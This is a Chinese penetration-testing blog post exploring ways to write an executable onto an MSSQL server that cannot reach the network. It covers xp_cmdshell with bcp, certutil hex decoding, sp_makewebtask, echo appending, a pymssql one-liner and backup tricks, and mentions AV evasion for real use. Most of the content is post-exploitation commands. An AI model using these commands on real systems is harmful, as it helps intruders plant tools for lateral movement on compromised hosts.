欢迎来到【血梦博客】 今天是:2022年05月18日 星期三
站长联系QQ:9468395
当前位置: 网站首页> 渗透测试> 关于站库分离数据库不出网落地Exe方式探究-Mssql

关于站库分离数据库不出网落地Exe方式探究-Mssql

作者:血梦 日期:2022-03-23 浏览:494分类: 渗透测试 已提交百度收录

前言

之前偶尔会遇到站库分离数据库不出网&没有Webshell的情况,只有一个可以执行命令的shell,这种情况下如果想进行横向只能通过数据库来落地我们的工具。

注:文中只是为了演示数据库如何落地exe,可能部分环境过于理想化,在实战中很难遇到。

环境:

  1. 系统版本

    Win 10 x64 - mssql权限

  2. 数据库版本

    Mssql 2019

1、Bcp

1.1 简介

大容量复制工具,可以导入数据到Mssql表,也可以将表中数据导出到文件。

1.2 适用版本

全版本

1.3 导出exe

思路:将exe的16进制写入表,再使用Bcp导出成exe。

创建存储二进制数据类型的表

create table info(data image)
insert into info(data) values ()

导出表中的数据

exec master..xp_cmdshell 'bcp test.dbo.info out  c:\users\public\12.txt -T -c'

-T:可信任连接,如果不加需要手动加上Mssql的账号密码
-c:字符类型

这条语句是导出test库中info表中的数据,到12.txt文件中

不加-T

不加-C

导出的数据还是16进制,可以使用certutil或编程语言将其解码为可执行文件。

exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'

Pyhotn3
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"

可以正常执行

Mssql中常见的存储二进制字段类型

1.4 注意点

  • 16进制在插入表的时候,记得在最前边加0x

2、sp_makewebtask

2.1 简介

导出文档,文档内容为查询语句返回的数据。

2.2 版本

Mssql版本小于等于2008

2.3 导出exe

扩展开启

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE; 开启该扩展

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',0;RECONFIGURE; 关毕该扩展

大致思路:

将exe的16进制插入到表中,使用sp_makewebtask将exe的16进制导出,最后使用certutil或Python恢复。

exec sp_makewebtask '\\路径\\hex.txt','select''exe_hex'' '
certutil -decodehex \\路径\\hex.txt \\路径\\test.exe

3、Echo

3.1 不换行追加导出exe

使用系统的echo将可执行文件的16进制导出到服务器

每使用一次echo会自动换行,这情况下无法正常解码。

使用set /p=""实现不换行追加

执行结果已经实现了

但是这里需要注意Windows一次最多导出8kb出头,所以需要一段一段追加到文件,而且这种环境下还没办法分离免杀...嘶~

4、Python

4.1 简介

既然可以使用Python处理一些数据,那么应该也可以使用Python连接数据库,将查询结果导出为exe。

4.2 条件

  • 有Python(可以一句话反弹shell的语言应该都可以)
  • 知道Mssql账号密码
  • 所带的语言支持连接Mssql

4.3 查询数据并导出

实战环境将ip、user、password、要查询的表...换成对应的就可以了,路径也尽量换了。

import pymssql;conn=pymssql.connect(host='192.168.112.149',user='sa',password='123456',database='test',charset='utf8');cur = conn.cursor();sqlstr = 'select data from info';cur.execute(sqlstr);data = cur.fetchall()[0][0].strip();open('tesz.exe','ab').write(data);cur.close();conn.close();

5、备份

5.1 日志备份

5.1.1 简介

记录SQL操作语句

5.1.2 日志被隔断
#将数据库设置为完全恢复模式
alter database 数据库名称 set RECOVERY FULL
#创建一个存储二进制文件的表
create table info (data image)
#先备份数据库才可以备份日志,with init:将数据写到文件最前边
backup database 数据库名称 to disk = '\\path\\' with init
#插入可执行文件的16进制
insert into cmd (a) values (0x执行文件的16进制)
#备份日志
backup log 数据库名称 to disk = 'path'

在导出的日志中可以找到可执行文件的16进制字符

可执行文件的16进制会被隔断,无法正常导出执行。

5.2 差异备份

5.2.1 简介

差异备份由DIFFERENTIAL关键字指定,只备份从上一次完整备份之后发生更新的数据,而不是备份整个数据库,通常情况下,差异备份比完整备份占用的空间更少。

5.2.2 日志被隔断
#先备份一次数据
backup database test to disk = 'C:\Users\Public\bak.log' with init;
#创建存储exe-16进制的表
create table test.dbo.info (data image);
insert into info (data) values ('可执行文件的16进制')
#使用differential关键字指定,只备份从上一次完整备份之后发生更新的数据。
backup database test to disk = 'C:\Users\Public\test2.log'  with differential,format;

但还是被隔断了

6、思考

  • 其实使用echo导出的时候,也可以不使用set /p的方式,在解码之前使用python或其他编程语言替换掉换行,然后解码。
  • 日志备份是否可以使用编程语言解决隔断和乱序问题。

7、总结

导出方式 概述
Bcp Mssql全版本支持,导出也较为方便
Sp_makewebtask 有一定局限性,适用于老一点版本的Mssql
Echo 眼睛和手能抗住的话还是蛮好用的
Python 有较多局限性
日志 暂时不能用。

上文只是为了演示如何通过数据库落地exe,实战中还要考虑免杀、绕过AV调用危险程序等情况,这里就不再赘述了。

8、参考链接

Mssql存储过程文档 https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-depends-transact-sql?view=sql-server-ver15

Python连接Mssql https://www.cnblogs.com/mirrortom/p/5218865.html

Mssql数据库恢复模式 https://blog.csdn.net/weixin_34281477/article/details/89831639

Mssql三种常见备份模式 https://blog.csdn.net/qq_40954115/article/details/78803065

关灯